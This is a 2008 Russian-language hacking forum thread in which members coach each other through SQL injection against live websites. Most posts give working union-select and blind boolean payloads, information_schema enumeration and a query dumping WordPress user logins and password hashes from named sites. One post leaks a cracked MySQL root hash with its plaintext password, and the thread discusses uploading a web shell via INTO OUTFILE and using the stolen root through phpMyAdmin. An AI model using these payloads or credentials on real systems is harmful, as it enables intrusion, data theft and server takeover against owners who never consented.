Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    Версию)

    Выводит новость с id 16

    Никаких ошибок нет(
     
  2. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    Зачем тебе ошибки? Ты принтабельные поля ищи. source страницы покопай.
    +union+select+111,222,333,444/* для удобства, и ищи.
     
  3. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    http://www.xxxx.com/news.php?type=16+and+1=2+union+select+1,version(),3,4/*
    http://www.xxxx.com/news.php?type=16+union+select+1,version(),3,4+limit+1,1/*
     
  4. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    http://www.xxxx.com/news.php?type=16+union+select+1,version(),3,4/*

    так ты никогда не увидишь версию, надо ставить несуществующию запись
    Если
    http://www.xxxx.com/news.php?type=-16+union+select+1,2,3,4/*
    не помогает, попробуй так
    http://www.xxxx.com/news.php?type=-16'+union+select+1,2,3,4/*
    если и так не катит скидывай ссылку сюда или в пм
     
  5. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    Та бывает такое, что нет ниодного поля с выводом на экран.
    попробуй вот так:
    PHP:
    http://www.xxxx.com/news.php?type=16+and+ascii(lower(substring(version(),1,1)))=51
    это будет значить, что mysql 3 версии

    PHP:
    http://www.xxxx.com/news.php?type=16+and+ascii(lower(substring(version(),1,1)))=52
    это будет значить, что mysql 4 версии

    PHP:
    http://www.xxxx.com/news.php?type=16+and+ascii(lower(substring(version(),1,1)))=53
    это будет значить, что mysql 5 версии

    В одном из этих случаев не должно вылезти ошибки, если ее нету, то запрос к mysql true и можно сделать вывод о версии...
     
  6. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    Версия MySQL 5
     
  7. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    Если принтабельных полей нет-юзай подзапросы. Иначе никак.
     
  8. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    Попробуй ещё так

    http://www.xxxx.com/news.php?type=16+union+select+'-16+union+select+1,2,3,4'+limit+1,1/*

    Или перегони в хекс, если кавычки экранируются\слэшируются.Вообще подобная двойная конструкция, внутри union select может сработать. Пробуй.
     
  9. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    И не только вывод версии ... тем более если версия 5 можно сбрутить все необходимые таблицы и колонки .... а затем полноценный вывод из нужной нам таблицы...

    то же самое и в версии 4ре .. только нам нужно перебрать стандартные значения табиц и колонок ...
     
  10. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    То есть если вывод ошибок отключён, при правильном запросе должно показывать, то что мне нужно. так ?
     
  11. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    Скинь ссылочку... авось помогу...
     
  12. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    ну это понятно)))) я по посимвольному брутфорсу в мускуле 5 статью помню писал на ачате =) Только потом сам ее и удалил, если каму надо могу выложить

    http://slil.ru/26301742 вот залил, надеюсь каму нить она поможет...
    http://depositfiles.com/files/nq76bn4ca
    http://www.sendspace.com/file/3snrub
     
    #3512 _Pantera_, 4 Nov 2008
    Last edited: 4 Nov 2008
    1 person likes this.
  13. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    _Pantera_
    Перезалей на сэндспэйс плз.
     
  14. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    Интересная статья, зря удалил)
     
  15. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    Действительно хорошая статья. Удалял то зачем?
     
  16. beerhack

    beerhack Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    99
    Likes Received:
    48
    Reputations:
    5
    http://www.sngboard.ru/index.php?id_categ=-99999+union+select+1,2,3,4,5,6,table_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+information_schema.tables/*

    Значит ситуация такая - есть куча табл с юзерами но доступ к ним и некоторым полям их запрещен, конструкции unhex(hex()), aes_de... не помогают. Зато есть доступ к mysql.user оттудова я стянул и сбрутил пасс рута.

    ROOT:*85FD004275C6D61CD6CAD3DEC994E8E326F5AEF2(nclmswpq)

    Включен file_priv, можно читать диры сайта.
    /home/www/htdocs/SNGBOARD/admin - нельзя прочитать
    /home/www/phpmyadmin - нельзя прочитать
    Пробовал залить шелл через into outfile в диру /home/www/htdocs/sngboard так как кавычки фильтруются юзал подзапросы но тоже безрезультатно:(

    собсно вопросы:
    - что можно сделать с рутом от мускуля?
    - что можно найти интересного в дирах?
    - и какже всетаки залить шелл?
     
  17. diznt

    diznt Elder - Старейшина

    Joined:
    31 Jan 2008
    Messages:
    432
    Likes Received:
    164
    Reputations:
    -19
    ***.com/index.php?pid=-1'+union+select+1,2,3,4,5,6,7--

    Ошибку выводит

    You have an error in your SQL syntax near 'union select 1,2,3,4,5,6,7--'' at line 1

    Число столбцов определил "order by"
    Что делать не представляю
     
  18. hulk

    hulk New Member

    Joined:
    27 Jan 2008
    Messages:
    22
    Likes Received:
    1
    Reputations:
    0
    помогите плиз! подобрать колонки
    скуль: http://sport-life.ru/shop/index.php?section=1+union+select+version(),2,3,4,5+from+users/*

    которые нашёл: firstname, id, lastNamE, address, phone
     
    1 person likes this.
  19. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    beerhack Доступ есть ко всем таблицам просто они в разных базах:

    http://www.sngboard.ru/index.php?id_categ=-99999+union+select+1,2,3,4,5,6,concat_ws(0x3a,table_schema,table_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+information_schema.tables/*

    И нужно писать их маленькими буквами :)

    Вот напимер доступ к одной из них:
    http://www.sngboard.ru/index.php?id_categ=-99999+union+select+1,2,3,4,5,6,concat_ws(0x3a,user_login,user_pass),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+wordpress.wp_users/*

    Ковычки экранируются, и значит через инъекцию ты шелл не зальёшь, пробуй через админку
     
    1 person likes this.
  20. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    @beerhack
    подключиться к мускулу, разумеется если сервер разрешает удаленные подключения (по умолчанию порт 3306). Или же воспользоваться phpmyadmin, если он установлен на удаленном сервере и ты знаешь путь до него
    скрипт-аплоадер
    им же
     
Thread Status:
Not open for further replies.